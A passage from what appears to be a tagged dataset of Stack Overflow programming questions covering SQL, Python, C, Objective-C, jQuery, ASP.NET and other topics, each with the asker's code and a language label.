51% #c1bfea 100%);     background: -o-linear-gradient(top  #ebe9f9 0% #d8d0ef 50% #cec7ec 51% #c1bfea 100%);      background: -ms-linear-gradient(top  #ebe9f9 0% #d8d0ef 50% #cec7ec 51% #c1bfea 100%);      background: linear-gradient(to bottom  #ebe9f9 0% #d8d0ef 50% #cec7ec 51% #c1bfea 100%);     filter: progid:dximagetransform.microsoft.gradient( startcolorstr= #ebe9f9   endcolorstr= #c1bfea  gradienttype=0 );  } </code></pre>,jquery
ways to export  webapi help page  into document  i was wondering if there is any way we can conveniently export the auto-generated help pages of a webapi project into a document (any format).    thanks.,asp.net
how to comapre 2 string while executing the query <pre><code>declare @pid int declare @mid int declare @tablename varchar(10) declare @query nvarchar(1000) declare @subquery nvarchar(300)  set @pid = 1 set @mid = 2 set @query =  select * from  +@tablename+  where   if(@pid is not null) begin set @query = @query+  pid = +@pid+  and  end  if(@mid is not null) begin set @query = @query+  mid = +@mid+  and  end </code></pre>   if @pid and @mid are not null get added into the query.if @pid and @mid null i want to remove  where  from query.same for  and  also if both get selected.   <pre><code>set @subquery = select right(   +@query+    5) if(@subquery =  where ) begin print @query -- execute sp_executesql @query end </code></pre>   but unable to compare those  in if clause.does i need to excute @subquery.if yes  how to take that value.,sql
adding numbers in a list but only after a certain number  i m writing a script that takes a bowling score.   <h2>the rules</h2>   -if you get a strike you get 10 points plus the next two balls you score.     my question: <strong>is there a way to add the next two numbers in a list after 10 appears. so far my code just takes the users score and stores it in a list.</strong>   <pre><code>def f54():     total_pins= 10     max_score= 300     frames= 20     count= 1     score=0     zval = []     yval = []      for i in range(1 11):          2_ahaed = i+2         1_ahead = i+1          z=int(input( what was your score for ball 1 frame   +str(i)+ : ))         if z != 10:             y=int(input( what was your score for ball 2 frame   +str(i)+ : ))          if z &gt; total_pins:             print( this number is too large  re enter all scores )             f54()         if z &lt; 10:             zval.append(z)         if z == 10:             print( strike! )           if y &gt; total_pins:             print( this number is too large  re enter all scores )             f54()         if y &lt; 10:             yval.append(y)         if y == 10-z:             print( spare! ) </code></pre>,python
how to programatically check if the location services is turned on or off in browser using asp.net  i m developing a website that use geolocation  but nothing happens if i access it with location service disabled. it should show user alert message to enable location service.,asp.net
autolayout: abnormal behavior : view not resizing on 3.5 inch screen  there s nothing special going on in this view  but i cannot seem to get autolayout to play nicely! please see the images below. i have tried so many variations and still end up all broken. i pretty much refuse to turn off autolayout due to the fact that the struts and springs are just being translated into constraints at which tells me there must be a way and i m just doing it wrong.    <strong>4 inch correct display</strong>    (<img src= https://i.stack.imgur.com/8ce6u.jpg  alt= http://i.imgur.com/ugjso4yl.png >)    <strong>3.5 inch with  bottom space to bottom layout  for workout button. vertical spacing in-between all.  the button comes up but nothing shrinks and the  next day/last day  view gets bumped.</strong>    (<img src= https://i.stack.imgur.com/6oyqz.jpg  alt= http://i.imgur.com/qh41sc0l.png >),ios
can someone explain settings to me and how to use them in c#   basically something i m working on requires me to use settings. i ve never used settings when it comes to c# and vs and the guides i ve tried reading on the internet aren t really clearing it up for me. so i ve got a few questions and if anyone could answer them then that would be brilliant.   <ol> <li>what is a setting and what s it s purpose </li> <li>i ve declared some settings  now how do i use them in my code </li> <li>can i declare a setting as a variable or are they already variables that can be used </li> </ol>   an example is that i ve got these codes in my settings  bl cc cw dx dl du f2 ha jl ld pr ps s sc sf ud wl zc zd   they re called codes   <ol> <li>how can i use these codes in the context of my code that when something is equal to one of these codes  do something else </li> </ol>,c#
how i can sort liquor collection   i have the collection in liquor(<a href= https://github.com/evilmartians/liquor  rel= nofollow >https://github.com/evilmartians/liquor</a>). i use it like this:   <pre><code>{% for dot in: models.dots do: %} {% end for%} </code></pre>   i have attribute <code>pos_down</code> in collection <code>dots</code>. how i can order this collection  something like  this <code>{% for dot in: models.dots.sort_by( pos_down ) do: %}</code>,ruby-on-rails
how do i access as value inside of angular select  is there a good way to access username inside of scope while keeping the id in the context of:   <pre><code>&lt;select id= pendinginvites  class= selectalternateevens  style= width: 85%; height: 300px;  ng-options= invite.id as invite.username for invite in pendinginvitelist                                  multiple value=                                   ng-model= user.pendingusername &gt;&lt;/select&gt; </code></pre>   the ng-model currently resolves to the id  user.pendingusername.username doesn t work either.  i can do a look up against pendinginvitelist  or i can use invite.username in place of the id  but can i access it via the code above,angularjs
selection of recurrence rules of recurring appointments  i ve got appointments with 3 recurrence types: 1 = master appointment  2 = regular appointment and 3 = exception. every recurring appointment has a foreign key value which references the primary key of a recurrence rule table. it might be that the master has been deleted and it might be that only one appointment from the recurring sequence of appointments with a specific rule is left.    i want to select all distinct rows from the appointment relation/table where the foreign key to the primary key of the rule-table is not null (and i need to select all columns of the found rows). furthermore i need a query which is executable in most relational databases (postgresql  mysql  ms-sql  derby...).    i basically want to select exactly one appointment for each recurrence rule which references this rule  the first one with the  lowest  start date.    probably it s as simple as select distinct recrule  * from appointments but i m not sure if this is valid sql.    kind regards johannes,sql
close all popup windows with javascript  does anyone know how can i close all popup windows (window popup by javascript) in javascript      example:   <ol> <li>open 3 new windows by clicked on a button  and using window.open() to open all 3 new windows.</li> <li>clicked on a button and close all 3 popup windows togather.</li> </ol>,javascript
append a string to an array of string in c  i have <code>char **argv={ ls   -l   /bin }</code>  and i want to make it a string array which contais <code> ls   -l   /bin   (char *)null</code>. i have tried <code>argv={*argv (char *)null};</code>  but the compiler told me  expected expression before  {  token . what should i do to get it  btw  can i use  {}  for declaration of a string array,c
auto increasing numbers in array  i m just starting out with xcode and need some help. i have this array set up:    <pre><code>myarray = [nsmutablearray arraywithobjects: item1type1  item1type  item1type3  item1type4  item1type5  item1type6  item1type7  item1type8  item1type9  nil]; </code></pre>   is it possible to auto-assign numbers to elements in a sequence  the logic is simple: item1type(i)  item1type(i+1)  item1type(i+2) ...     many thanks,objective-c
mysql stored function usage  i just wrote a stored function to calculate the working days between two dates. this works    <blockquote>    select   countweekdays( 2010-03-07   2010-04-07 )  </blockquote>   this doesn t work   <blockquote>    select   countweekdays(o.order_date o.created_date)   from orders o;  </blockquote>   any idea how to make this one work       function definition   <blockquote>    delimiter $$;        create function <code>countweekdays</code> (sdate   varchar(50)  edate varchar(50))   returns int        begin        declare wdays  tdiff  counter  thisday   smallint;        declare newdate date;        set newdate := sdate;        set wdays = 0;        if datediff(edate  sdate) = 0 then   return 1; end if;        if datediff(edate  sdate) &lt; 0 then   return 0; end if;        label1: loop        set thisday = dayofweek(newdate);        if thisday between 2 and 6 then set   wdays := wdays + 1; end if;        set newdate = date_add(newdate    interval 1 day);        if datediff(edate  newdate) &lt; 0 then   leave label1; end if;        end loop label1;        return wdays;        end  </blockquote>,mysql
using malloc when i know the maximum size of the char array  in my program  i m declarign  a character array holding the location of a config file  it should be something like:  /home/user/.config     now i understand the longest username can be 32 bytes long(gnu linux)  so i know that array will not hold more than 46 characters  in this case should i be using malloc or not.    should i use:   <pre><code>char config_file_location[46]; strcpy (config_file_location  getenv( home )); strcat(config_file_location  /.config ); </code></pre>   or:   <pre><code>char *config_file_location; config_file_location = (char *) malloc(43); strcpy (config_file_location  getenv( home )); strcat(config_file_location  /.config ); //code goes here free(config_file_location); </code></pre>   also should i use realloc in the above example to get the config_file_location to use exactly the amount of memory it is supposed to     i m looking for best practice info  if it is not worth doing in this case  i would like to know when it would be  and i would like to know the reason behind which approach is better.    thanks i appreciate it.,c
spaces between 3 inline-block divs  here is my jsfiddle  and i have a very basic question. <a href= http://jsfiddle.net/dql2u/  rel= nofollow >http://jsfiddle.net/dql2u/</a>    why there is a small space between three tabs (home  about me  contact)  what can i do to make them look joined each other  i see this is a problem that encountered often  but couldnt find a solution.   <pre><code>&lt;!doctype html&gt;  &lt;html&gt;     &lt;head&gt;         &lt;title&gt;             burak özmen - a newbie web designer         &lt;/title&gt;         &lt;link rel= stylesheet  href= index.css /&gt;     &lt;/head&gt;      &lt;body&gt;         &lt;nav&gt;             &lt;a href= http://www.facebook.com &gt;                 &lt;div id= home &gt;                     &lt;p&gt;home&lt;/p&gt;                 &lt;/div&gt;             &lt;/a&gt;             &lt;a href=  &gt;                 &lt;div id= about &gt;                     &lt;p&gt;about me&lt;/p&gt;                 &lt;/div&gt;             &lt;/a&gt;             &lt;a href=  &gt;                 &lt;div id= contact &gt;                     &lt;p&gt;contact&lt;/p&gt;                 &lt;/div&gt;             &lt;/a&gt;         &lt;/nav&gt;     &lt;/body&gt;  &lt;/html&gt; </code></pre>,html
mysql import dump file ubuntu 10.10  am running mysql server on my machine using ubuntu  am trying to import dump file as indicated below  i get an error shown below as well:   <pre><code>create database mm; create user rami; set password for rami = password( 112211 ); grant all privileges on prediction.* to rami identified by  112211 ; use prediction; -u rami -p mm &lt;/home/user/downloads/snpdbe_2012_03_05_sql;     </code></pre>  <blockquote>    error 1064 (42000): you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  -u rami -p mm  </blockquote>,mysql
get position-x from distance traveled within boundaries  i have two blue points moving in opposite directions. i m given the size limit on the x-axis in which the points can move. in this example it s 300 units total (150 in either direction from 0)    each blue point starts at 0 (the center) and i m given the total distance at which each point has moved. i m having trouble writing a function which returns me their resulting x position. which is indicated by a light blue dot in the image below. the red line indicates the boundaries which ball can move within  think of the red lines as walls and the blue points as bouncing balls.    my goal is to make a function which returns me this value in python.    <a href= https://i.stack.imgur.com/dcusn.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/dcusn.png  alt= enter image description here ></a>    you ll see in my function that i have an argument dir which is meant to be used to determine which direction the ball is moving (left or right initially)    below is my attempt at solving it  but it s not entirely correct. it seems to fail when there are remainders from the %.   <pre><code>def find_position(dir=1  width=10  traveled=100):     dist = traveled     x = dist % (width*0.5)     print x  find_position(dir=1  width=300  traveled=567) find_position(dir=1  width=300  traveled=5) find_position(dir=-1  width=300  traveled=5) find_position(dir=-1  width=300  traveled=325)   &gt;&gt; output 117.0 5.0 5.0 25.0  &gt;&gt; should be -33.0 5.0 -5.0 25.0 </code></pre>,python
mysql query problem  so far i can list all the students essays but i want to be able to display only graded student essays and was wondering how would i be able to do this  what else do i have to add to my mysql code     thanks for the help in advance!    here is what i got so far with my mysql code.   <pre><code>select students.*  students_essays.*  from students  inner join students_essays on students.student_id = students_essays.student_id order by students_essays.id desc </code></pre>   here is my mysql tables.   <pre><code>create table students_essays ( id int unsigned not null auto_increment  student_id int unsigned not null  content text not null  primary key (id) );   create table students ( student_id int unsigned not null auto_increment  student_first_name varchar(255) default null  student_last_name varchar(255) default null  pass char(40) not null  primary key (student_id) );   create table essays_grades ( id int unsigned not null auto_increment  grade_id int unsigned not null  students_essays_id int unsigned not null  student_id int unsigned not null  primary key (id) );  create table grades ( id int unsigned not null auto_increment  letter_grade varchar(2) default null  grade_points float unsigned not null default 0  primary key (id) ); </code></pre>,mysql
how to find number of characters in a div line by line   here is the image to explain it    <img src= https://i.stack.imgur.com/bvmtd.png  alt= div line >   <pre><code>&lt;div id= tshirt &gt;     &lt;div id= text-wrapper &gt;         &lt;p id= tshirtover &gt;nothing is impossible unless we try it&lt;/p&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   is there any way to find the length of the first line     i tried below jquery function. it s giving the entire length of the string.    <pre><code>$( #tshirtover ).text().length; </code></pre>   but i need to find only the first line. is it possible to get it,jquery
date wise average of joined records from a table  <strong>structure</strong>   <pre><code>table: household (id  form_date)  table: household_members (id  household_id  member_name  ... ) </code></pre>   e.g. for a given household there maybe 5  6  8  10 household members in household_members table.    <strong>what i am trying</strong>    average number of household members on a given date.    output should be like:    <pre><code>[date  average]  [2016-03-01  5.4] [2016-03-02  4.9] [2016-03-03  6.7] </code></pre>   <strong>what i ve done so far</strong>   <pre><code>select  date(household.form_date) as date_only       (select count(*) from household_members where household.id = household_members.household_id) as count  from data group by date_only </code></pre>   its far from near from the result i am expecting  any help would be greatly appreciated.,mysql
i m using tostring method  but it doesn t give me the format i want   i want my method to return a rectangle base(coordinates) height and width.    an example    for the rectangle with a lower left corner located at (-3  2) and having a width of 4 and a height of 5  the method should return exactly “base: (-3 2) w:4 h:5”. for this example  there is a single space at location 5  12  and 16.    //left = x  bottom =y   width = w  height = h    this is the method i have   <pre><code>public string tostring(){     return string.format( %-5s%-12s%16d   base:    (  this.left      this.bottom  )    w:  this.width   h:  this.height); } </code></pre>,java
place for storing custom iprincipal  i m using my custom iprincipal  because i need some additional fields  like id and password (logging to outer wcf service). i m setting the principal in the application_postauthenticaterequest event  but it must be done on every request. i want to cache it in some place  but what is the best solution for it  session is unavailale. i have there a password  so i don t want to use the formsauthenticationticket even if it is encrypted. httpcontext.current.items stores values only for one request. the objects application and cache are available for each users. what are other possibilities,asp.net
how to construct floats from bit-patterns in .net   in need to construct system.single values (= ieee 754  single precision  32-bit floats) from their bit pattern  represented as 4 bytes (or an int32 value  big endian).     how do i do this in .net/f#,.net
finding occurences of string within a string  hi what is the  quickest and most efficient way of finding a string within another string.    for instance i have this text;     hey @ronald and @tom where are we going this weekend     however i want to find the strings which start with  @ .    thanks,c#
javascript logic issue  i have a global variable  isonsecond  which is initially set to false    this is connected to an if statement that detects the boolean value  if it is true some actions are performed and then the boolean is set back to false. therefore i want the action to be performed half the time.    my questions is this  i know i have logic problems in this function however i cant seem to conjure up a solution at this point.    how should i re work this function with my desired logic    <pre><code>function transcomplete() {     slidetransstep = 0;     crtslideindex = nextslideindex;     alert(isonsecond);      // for ie filters  removing filters re-enables cleartype     if (nextslide.style.removeattribute)         nextslide.style.removeattribute( filter );      // show next slide     showslide((crtslideindex &gt;= totalslides)   1 : crtslideindex + 1);      if (isonsecond == true){     //unhighlight all controls     for (var i=0; i &lt; slidescontrollerscollection.length; i++){         if (slidescontrollerscollection[i].classname === slidehighlightclass)         slidescontrollerscollection[i].classname =   ; }      // highlight the control for the next slide     if (slidescontrollerscollection[i].classname === slidehighlightclass)            document.getelementbyid( slide-control-  + crtslideindex+1).classname = slidehighlightclass;      isonsecond = false;     }     isonsecond = true;   } </code></pre>,javascript
html: submit form on radio button check  i have a form that displays two radio buttons (using php).   <pre><code>echo  &lt;form action=\ next.php\  method=\ post\ &gt; ;    echo  &lt;input type=\ radio\  name=\ paid\  value=\ 0\  checked=\ checked\ &gt;no&lt;br&gt; ;    echo  &lt;input type=\ radio\  name=\ paid\  value=\ 1\ &gt;yes&lt;br&gt; ; echo  &lt;/form&gt; ; </code></pre>   one of the radio buttons is always checked by default. if the user checks the other radio button  i would like the form to submit itself (without the user having to click a submit button).,html
parsing json dictionary with arrays with json parsing does not result in nsdictionary or nsarray   i am trying to parse a json dictionary in the form of:   <pre><code>{ data:  [{ gid_id : 350b4bab-5032-4784-434e-a45100af805c   sys_name : aareshh  a 0808880001 (inforeca tech) } { gid_id : aba267b4-317a-46dc-434e-a4440079d424   sys_name : bala  jyothi 04022220000 (macwee tech) } { gid_id : 631083b4-45f3-4b23-434e-a4580067401f   sys_name : jack  sparrow 0808880001 (inforeca tech) } { gid_id : f6725028-ce34-46ca-434e-a4510097cb58   sys_name : jerry  tim  } { gid_id : ffc8cfe7-683d-49c9-434e-a44100e4838f   sys_name : kumar  pratap 040669933 app dev (infodat pvt tech) } { gid_id : 61fc723f-f530-4216-434e-a44a00eb887a   sys_name : manthena  ramu  } { gid_id : 9c8114a2-a207-453f-434e-a466008f75e3   sys_name : pawan  krishna 8972346767  } { gid_id : e8e1831b-99b2-4ef6-434e-a42e00f2a4f1   sys_name : super 2  super 1  } { gid_id : cb98ec8b-5bfe-4833-434e-a42e00f389cf   sys_name : super 2  super 1 414-449-6000 bus dev mgr (eaton corporation ) } { gid_id : 8bf09fc6-84a6-407b-434e-a43a00c88585   sys_name : thoutam contac - gmail  ravi g mail 2098903655 (tesco - company) } { gid_id : 097e7639-9e81-4d3e-434e-a44a00eb7837   sys_name : velga  swetha 04022220000 (macwee tech) }]  status:  success } </code></pre>   i am having difficulties getting to the proper data within this structure.total response storing the dictionary(mydict). my goal is i want to get the gid_id and sys_name in data.    i need help creating the object. currently  when i create the nsdictionary using json  i only obtain one dictionary  with a single nscfstring:   <pre><code>nsstring *responsestring = [[nsstring alloc] initwithdata:mykeyresponsedata encoding:nsutf8stringencoding];     _responsedata= nil;     mykeydict = [responsestring jsonvalue];     nslog(@ response string %@  mykeydict); </code></pre>   i want to get the gid_id  sys_name.,objective-c
help in select tag in for html <pre><code>&lt;select onchange = ---- &gt;  &lt;option value= a &gt;a&lt;/option&gt;  &lt;option value= b &gt;b&lt;/option&gt;  &lt;option value= c &gt;c&lt;/option&gt; &lt;/select&gt; </code></pre>   i want to write this small piece of code wherien if a person selects any item  then it should move to the next html page showing what value is being selected..     how can i do that..    hope my doubt is clear    any suggestions here would be appreciated...    thanks..,html
imageview and draw image in precision coordinates  i have a problem with drawing image. how i can draw image in precision coorinates. i want to draw image in place where i touch the screen. how i can do this  i implement ontouch method where i get coordinates  but i don;t know how i can draw image in this place.,android
a delegate is class or a structure  i really gotta confused ..    <ol> <li>delegates are class or only a type.   </li> <li>is it necessary for a delegate to be same as a function or function has to save as   delegate</li> </ol>   please bear me i am new for .net,.net
hyperlink tag not printing correctly in php  please check this (i m new to php)  i just want to add an image to an existing php code for the nav menu.    previous code is    <pre><code>$html .=  &lt;li&gt;\n &lt;a href=  .$menu[ items ][$itemid]-&gt;menu_link.  &gt; .$menu[ items ][$itemid]-&gt;display_name. &lt;/a&gt;\n&lt;/li&gt; \n ; </code></pre>   which is displaying correct with the menu name  and here i want to put an image so my code is as below   <pre><code>$html .=  &lt;li&gt;\n &lt;a href=  .$menu[ items ][$itemid]-&gt;menu_link.  &gt;&lt;img src= ../assets/img/live_view.png /&gt; .$menu[ items ][$itemid]-&gt;display_name. &lt;/a&gt;\n&lt;/li&gt; \n ; </code></pre>   its not displaying the image correctly but has no errors  is there any fix,php
why pop_back just removes the last element  generally to get the last element and remove it   i have to use <code>stl::back</code> and then the <code>stl::pop_back</code>   <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt;  int main() {     // create a vector containing integers     std::vector&lt;int&gt; v = {7  5  16  8};      // add two more integers to vector     auto x= v.back();     v.pop_back();      std::cout&lt;&lt; last value removed was &lt;&lt;x&lt;&lt; \n ;     // iterate and print values of vector     for(int n : v) {         std::cout &lt;&lt; n &lt;&lt;  \n ;     } } </code></pre>   is there a way or any other stl by which i can use the pop_back() returns the last element and then remove .just use a single stl    why is pop_back() just implemented to remove it would have been better if it could return as well .any reason it is implemented just to remove,c++
condition if an element present w/jquery  i have a table. all cells in a certain row have <code>&lt;div&gt;</code>    some can have a span as well. i need to change the width of the div in a cell is <code>&lt;span&gt;</code> is present. how do i check for that     js:   <pre><code>var divw = $( #mytable td ).find( div ).width(50); var spaw = 20; </code></pre>   html:   <pre><code>&lt;table id= mytable &gt; &lt;tr&gt;     &lt;td&gt;         &lt;div class= tddiv &gt;abc&lt;/div&gt;     &lt;/td&gt;&lt;td&gt;         &lt;div class= tddiv &gt;abc&lt;/div&gt;     &lt;/td&gt;     &lt;td&gt;         &lt;span class= tdspan &gt;*&lt;/span&gt;         &lt;div class= tddiv &gt;abc&lt;/div&gt;     &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre>,jquery
what does  /=  mean in objective c <pre><code>- (void) reduce{     int u = numerator;     int v = denominator;     int temp;        while (v != 0) {         temp = u % v;         u = v;         v = temp;     }      numerator /= u;     denominator /= u;  } </code></pre>   i am currently starting to learn objective c and was just wondering what this bit of the code actually does    <pre><code>numerator /= u; denominator /= u; </code></pre>   thank you for any help!,objective-c
timestamp calculation function  i am trying to write java code as a part of my project to get current time for a process and then i need to add a fixed timeout period to it. this new time has to be compared with my above currenttime and take decision based on that. i am not able to add time to the currenttime and compare it. can anyone help me by suggesting a way     this is my code:   <pre><code>   public class sessiondetails     {      public string getcurrentutctimestamp() {         timezone timezone = timezone.gettimezone( utc:00 );         dateformat dateformat = dateformat.getdatetimeinstance();         dateformat.settimezone(timezone);         timestamp = dateformat.format(new date());         return timestamp;     }      public void createsession()          {            int value = getsession();            string timestamp = getcurrentutctimestamp() ;            system.out.println( new session details : );            system.out.println( session value:  + value);            system.out.println( time of creation :  + timestamp );          }     public boolean checktimeout(int value)         {                private static long c_timeout = 10000;             string currenttime =  getcurrentutctimestamp() ;             if ( currenttime &gt; timestamp + c_timeout )   //failing to implement this logic efficiently .please do suggest a way.thanku..              system.out.println( sorry timeout );            else               system.out.println( welcome );          }  } </code></pre>,java
navigationcontroller -- advertisement -- tableview in iphone  i ve already implemented an app that has navigationcontroller at the very top  and it shows tableview at the first  and if it s cell is clicked  another view is pushed into the navigationcontroller.    it s just an simple &amp; normal app.     but i want to put an ad between the navigationbar and the tableview.     i ve tried this and that. but it didn t work. maybe there are several good ways to do it i believe.    hope somebody point me a good tutorial or throw me ideas. thanks.,iphone
hyperlinks inside uitextview text don t work  i am trying to get a hyperlink inside text to work  the text will show up as a hyperlink on the simulator but refuses to be clicked despite the fact i am using the below line:   <pre><code>view.datadetectortypes = uidatadetectortypelink; view.userinteractionenabled = yes; </code></pre>   tl;dr why can t i click the links inside of my text despite having the same properties set as a million other people.,iphone
403 forbidden when encoded + (%2b) used in php get request  this is a strange one. i seem to be getting a <strong>403 forbidden error</strong> when i include a string that contains a double quote followed by a + symbol in a get request.    variables:   <pre><code>var iname =  chevalier de fleur ;  var itemdescription =   fleur synchron  + 1 or more non-tuner monsters once during each of your turns  when your opponent activates a spell/trap card  you can negate the activation and destroy that card. ; </code></pre>   i am passing a request as follows   <pre><code>jquery.getjson( https://example.org/myphpfile.php itemname=  + iname +  &amp;itemdesc=  + encodeuricomponent(itemdescription) +  &amp;callback=                                function (values) { </code></pre>   this works perfectly for almost all of my 9000+ items that get checked except for this one. when the url above is passed in  i get a <strong>403 forbidden error</strong>.    i think i ve narrowed it down to the encoding on the + sign.    the request ends up looking like this:   <pre><code>https://example.org/myphpfile.php name=chevalier%20de%20fleur&amp;desc=%22fleur%20synchron%22%20%2b%201%20or%20more%20non-tuner%20monsters%0aonce%20during%20each%20of%20your%20turns%2c%20when%20your%20opponent%20activates%20a%20spelltrap%20card%2c%20you%20can%20negate%20the%20activation%20and%20destroy%20that%20card. </code></pre>   on this segment of it:   <pre><code>&amp;desc=%22fleur%20synchron%22%20%2b%20 </code></pre>   if i remove the %2b which is for the + symbol then it works perfectly. i thought it may have had something got to do with having a double quote <strong> </strong> followed by a <strong>+</strong> but i have more items that do this and none seem to replicate this behavior.    i ve currently fixed it by removing with it replace (i really don t need the + anyway):   <pre><code>itemdescription.replace( +      ); </code></pre>   so while it is working currently  i m still curious and would really like to learn <strong>why</strong> it didn t work as i m sure i m probably doing something wrong.     server info:    apache 2.4.34 php 5.6.36,javascript
get input with fscanf  i am building a program that enables the user to enter a movie and prints out the information that the user entered.    i m using a <code>struct</code> to define the variables of a movie. the problem is that when the user enter the first to <code>fscanf()</code> <strong>with a space</strong>. example:  miami vice  all of the other <code>puts()</code> prints after each other. the <code>stdin</code> do not work after. and i dont know why this is happening.    i ve been reading about gets() and it has security issues so i should instead using fgets() or fscanf() for this. but i can t figure out what the problem is here.    <strong>main.c</strong>   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include  main.h   int main() {     struct movie m;      puts( what was the title of the movie you saw  );     fscanf(stdin   %s   m.title);     puts( what was the relase year  );     fscanf(stdin   %d   &amp;m.year);     puts( how would you rate the movie  (1-10) );     fscanf(stdin   %d   &amp;m.rate);      printf( you saw the movie %s which was released %d and you rated it a %d   m.title  m.year  m.rate);      return 0; } </code></pre>   <strong>main.h</strong>   <pre><code>struct movie {     char title[40];     int rate;     int year; }; </code></pre>,c
custom view ios <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/380875/looking-for-info-on-custom-drawing-of-interface-components-cocoa >looking for info on custom drawing of interface components (cocoa)</a>    </blockquote>     hi     my question is  i am working with a designer to develop an ios application and i don t now how to integrate the design he has produced   for example a navigation bar with a strange color  and many buttons with many colors. my question is how i can integrate all this views       thanks,iphone
delete selected items in collection view  i select 5 items in my collection view and i want to delete it. please help me delete the selected items. i put one button and when i press that button all selected items are delete that i want. my button click code.   <pre><code>- (ibaction)btn_delete:(id)sender {     nsarray *selecteditemsindexpaths = [self.mycollectionview indexpathsforselecteditems];     nslog(@ selected images: %@  myselectedarray);     [self.mycollectionview deleteitemsatindexpaths:selecteditemsindexpaths];     [self.mycollectionview reloaddata]; } </code></pre>,ios
randomize blocks of code  i am pretty new to c++ and i need some help .  is there any library or any easy way to randomize blocks of code each time you are compiling the app    for example   <pre><code>     struct{           float getnotes()           {              return something;           }           float getname()           {             return smth;           }           float getage()           {             return smths;           }     }students; </code></pre>   into   <pre><code>     struct{           float getage()           {             return smths;           }           float getname()           {             return smth;           }           float getnotes()           {              return something;           }     }students; </code></pre>   and this to be randomized everytime i am compiling . thanks for any help !!,c++
how are value types implemented in .net  been looking around the net and can t find any articles about how value types are actually implemented.    for instance  an int32 is a struct and it s direct parent is system.valuetype and that s ultimate parent is system.object. object is a class - i imagine valuetype is a class     what s the class hierarchy  what part does the clr have to play  at what stage and how does the clr know to allocate value types to the stack  (fyi  i am aware that value types are stored where they are declared).,.net
sum of even numbers not equals to each other  need help for a task. i should to sum even numbers not equal to each other  for example i have a list of ints like <code>[1  3  2  2  4]</code> the output should be <code>6</code>  and if a list all numbers are the same it should sum only 2 numbers  for instance <code>[2  2  2  2]</code> it should print out <code>4</code> but i don t understand how to check the equality of the numbers in a loop:   <pre><code>a = [int(x) for x in input().split()]  for i in a:         if i % 2 == 0:             summ += i         elif i == i:             continue </code></pre>,python
how to make side-by-side blocks fill the rest of the container when one is fixed size   i have two blocks that are side-by-side. one size is fixed  <code>90px</code> and other one is not  i want the other one to extend itself to the rest of the container since container size is will be changing.    here is fiddle with commends displaying the problem: <a href= http://jsfiddle.net/l6csg/  rel= nofollow >http://jsfiddle.net/l6csg/</a>   <h2>html</h2>  <pre><code>&lt;div class= container &gt;     &lt;span class= left &gt;&lt;/span&gt;     &lt;span class= right &gt;&lt;/span&gt; &lt;/div&gt; </code></pre>  <h2>css</h2>  <pre><code>.left  .right {     height: 30px;     display: inline-block;     margin: 0px;     float: left; }  .left {     background: green;     width: 90px; }  .right {     background: blue;     width: 100%; // how can i make it fit the rest of the container  }  .container {     width: 400px; // this value is not static } </code></pre>,css
iconvertible vs. implicit/explicit operator type conversions   i have created a class of type base36  and am coding the type conversion functions.  is there a benifit to implementing iconvertible  or should i define out my type conversions using static implicit/explicit operators    <pre><code>    public static implicit operator long(base36 value) {         return value.numericvalue;     } </code></pre>   edit: i guess i am also looking for what each method provides to me.  what is the difference,.net
image with relative path not displaying  i am currently trying to display a image with a relative path  and it is not working! the path i am trying is:   <pre><code>pictures/picture.png </code></pre>   yet it always says the image does not exist. then i will even try:   <pre><code>sitename/profiles/pictures/picture.png </code></pre>   still does not work. then i will finally try:   <pre><code>http://localhost/sitename/profiles/pictures/picture.png </code></pre>   and it finally works. i am trying to display it like this:   <pre><code>&lt;img src= pictures/picture.png  /&gt; </code></pre>   why would the relative paths not be working  please help!!! :(    <strong>update</strong> here are my directorys:   <pre><code>sitename   profiles     pictures       image.png     profilespicture &lt;--- where i want to run the image </code></pre>,html
generic - call actual methods of object passed in parameter  there are around 6 pojo classes (domain entities  dto s  dmo s) all have almost same fields. to convert from one objec to another  i m passing one object and calling its getters to set it in another object.   <pre><code>private usertemp convertdmotousertempentity(final userdmo userdmo) {     final usertemp usertemp = new usertemp();     usertemp.setusername(userdmo.getusername());     usertemp.setpassword(userdmo.getpassword());     usertemp.setstatus(userdmo.getstatus());     return usertemp; }  private userdmo convertentitytouserdmo(final usertemp usertemp) {     final userdmo userdmo = new userdmo();     userdmo.setuserid(usertemp.getuserid());     userdmo.setusername(usertemp.getusername());     userdmo.setstatus(usertemp.getstatus());     return userdmo; } </code></pre>   there are lots of these conversion like from one entity to another  dto to dmo  dmo to dto etc. i believe the better way to handle this would be generics  passing source object and destination object.    <pre><code>public static &lt;e  t&gt; t convert(e e  t t) {     //call getter of source object to set it in destination object.     return t; }  userconverterimpl.convertfromtemptouser(usertemp  user); </code></pre>   i need help in this. when i pass object in parameter  i need a way its methods. is there any better way to achieve this,java
object / class confusion   i noticed whilst playing around today that both the objects below when sent  init  print the same message  _init: tiresnow  to the console. can anyone shed any light on why this is happening    <pre><code>// interface @interface tirebasic : nsobject { } @end  @interface tiresnow : tirebasic { } @end // implement @implementation tirebasic - (id) init {     self = [super init];     if(self) {         nslog(@ tb_init: %@   nsstringfromclass([self class]));     }     return self; } - (nsstring *) description { return @ this is a basic tire. ; } @end  @implementation tiresnow - (id) init {     self = [super init];     if(self) {         nslog(@ ts_init: %@   nsstringfromclass([self class]));     }     return self; } - (nsstring *) description { return @ this is a snow tire. ; }  @end </code></pre>  <h1>edit2 - added all of main()</h1>  <pre><code>#import &lt;foundation/foundation.h&gt; #import  carparts.h   int main (int argc  const char * argv[]) {     nsautoreleasepool * pool = [[nsautoreleasepool alloc] init];      int tirecount;     carclass *newcar_001;     engineclass *newengine_001;     tirebasic *newtire_basic;     tiresnow  *newtire_snow;      // setup     nslog(@ composition start );     newcar_001 = [[carclass alloc] init];      // engine     newengine_001 = [[engineclass alloc] init];     [newcar_001 setengine: newengine_001];      // tires (basic)     for(tirecount=0; tirecount&lt;2; tirecount++) {         newtire_basic = [[tirebasic alloc] init];         [newcar_001 settire:newtire_basic];         [newtire_basic release];     }     // tires (snow)     for(tirecount=0; tirecount&lt;2; tirecount++) {         newtire_snow = [[tiresnow alloc] init];         [newcar_001 settire:newtire_snow];         [newtire_snow release];     }     // display     [newcar_001 printcar];      // clean up     [newcar_001 release];     [newengine_001 release];     [pool drain];     return 0; } </code></pre>  <h1>output</h1>  